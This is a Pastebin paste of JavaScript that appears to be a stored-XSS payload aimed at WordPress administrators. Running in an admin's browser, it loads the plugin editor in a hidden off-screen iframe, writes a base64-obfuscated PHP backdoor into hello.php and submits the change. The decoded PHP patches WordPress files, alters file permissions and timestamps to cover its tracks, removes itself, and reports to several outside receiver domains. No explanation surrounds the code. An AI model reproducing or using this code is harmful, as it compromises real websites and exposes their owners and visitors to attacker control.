SHARE
TWEET

Untitled

a guest Apr 24th, 2015 2,255 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var x = document.getElementsByTagName("a");
  2. var i;
  3. for (i = 0; i < x.length; i++) {
  4.     if(x[i].style.width == "6000px"){x[i].style.display="none";}
  5. }
  6.  
  7. var el = document.createElement("iframe");
  8. el.id = 'iframe22';
  9. el.style.display = "fixed";
  10. el.style.top='10000px';
  11. el.style.left='10000px';
  12. el.style.width = "500px";
  13. el.style.height = "500px";
  14. el.src = "plugin-editor.php?file=hello.php&plugin=hello.php";
  15. document.body.appendChild(el);
  16. el.onload = huy;
  17.  
  18. function getIframeDocument(iframeNode) {
  19.   if (iframeNode.contentDocument) return iframeNode.contentDocument
  20.   if (iframeNode.contentWindow) return iframeNode.contentWindow.document
  21.   return iframeNode.document
  22. }
  23.  
  24. function huy(){
  25. var zzz = document.getElementById('iframe22');
  26. var hhh = getIframeDocument(zzz);
  27. if (hhh.getElementById("newcontent").value.indexOf("1764d133d7351bf6a27d2deb3c521a02") == -1) {
  28. hhh.getElementById("newcontent").value = atob("PD9waHAKCmZ1bmN0aW9uIFVub19lbmNvZGUoJFN0cmluZykKewogICAgcmV0dXJuIHVybGVuY29kZShiYXNlNjRfZW5jb2RlKH4kU3RyaW5nKSk7Cn0KCmZ1bmN0aW9uIHJlcG9ydCgkcmNkKXsKICAgICRyZWNpdmVyc1tdID0gJ2h0dHA6Ly9ycC5jZC1reXl3YXRlci5jb20vJzsKICAgICRyZWNpdmVyc1tdID0gJ2h0dHA6Ly9ycC5ieWJ5LXNoNS5jb20vJzsKICAgICRyZWNpdmVyc1tdID0gJ2h0dHA6Ly9ycC50aXRpYW5qZXdlbHJ5LmNvbS8nOwogICAgJHJlY2l2ZXJzW10gPSAnaHR0cDovL3JwLnR1bW91cmhlYWx0aC5jb20vJzsKICAgICRyZWNpdmVyc1tdID0gJ2h0dHA6Ly9ycC5jaGluYS10b3V5aW5namkuY29tLyc7CiAgICAkeiA9IHN0cl9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gICAgICAkcGVybSA9IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZm5hbWUpKSwgLTQpOwogICAgICAgICAgICBAY2htb2QoJGZuYW1lLDA2NjYpOwogICAgICAgICAgICAkd3JpdCA9IHRydWU7CiAgICAgICAgfQoKICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOwogICAgICAgIGlmIChpc193cml0YWJsZSgkZm5hbWUpKXsKICAgICAgICAgICAgJHRtcCA9IEBmaWxlX2dldF9jb250ZW50cygkZm5hbWUpOwogICAgICAgICAgICAkdG1wID0gJHQgLiAkdG1wOwogICAgICAgIH0KICAgICAgICBpZiAoc3RybGVuKCR0bXApID4gMTApewoKICAgICAgICAgICAgJGYgPSBmb3BlbigkZm5hbWUsInciKTsKICAgICAgICAgICAgZnB1dHMoJGYsJHRtcCk7CiAgICAgICAgICAgIGZjbG9zZSgkZik7CiAgICAgICAgfQoKICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOwoKICAgICAgICBpZiAoJHdyaXQpewogICAgICAgICAgICBmb3IoJGk9c3RybGVuKCRwZXJtKS0xOyRpPj0wOy0tJGkpewogICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJHBlcm1bJGldKnBvdyg4LCAoc3RybGVuKCRwZXJtKS0kaS0xKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGNobW9kKCRmbmFtZSwkcGVybXMpOwogICAgICAgIH0KCiAgICAgICAgQHRvdWNoKCRmbmFtZSwkdGltZSk7CiAgICB9Cn0KCmZ1bmN0aW9uIHNlbGZfcmVtb3ZlKCl7CiAgICAkZm5hbWUgPSBfX0ZJTEVfXzsKICAgICR0aW1lID0gZmlsZW10aW1lKCRmbmFtZSk7CiAgICAkd3JpdCA9IGZhbHNlOwoKICAgIGlmICghaXNfd3JpdGFibGUoJGZuYW1lKSl7CiAgICAgICAgJHBlcm0gPSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZuYW1lKSksIC00K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Bvdyg4LCAoc3RybGVuKCRwZXJtKS0kaS0xKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGNobW9kKCRmbmFtZSwkcGVybXMpOwogICAgICAgIH0KCiAgICAgICAgQHRvdWNoKCRmbmFtZSwkdGltZSk7CiAgICB9CgogICAgY2xlYXJzdGF0Y2FjaGUoKTsKICAgIGlmKCRzaXplICE9PSBmaWxlc2l6ZSgkZm5hbWUpKXsKICAgICAgICByZXBvcnQoJHJjZCk7CiAgICB9Cn0KCnJlbW92ZV9jb21tZW50KCk7CnBhdGNoX3dwKCk7CnNlbGZfcmVtb3ZlKCk7Cgo/PgovLzE3NjRkMTMzZDczNTFiZjZhMjdkMmRlYjNjNTIxYTAy") + hhh.getElementById("newcontent").value;
  29. hhh.getElementById("submit").click( );
  30. }
  31. else {
  32. zzz.src = '../wp-content/plugins/hello.php';
  33. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top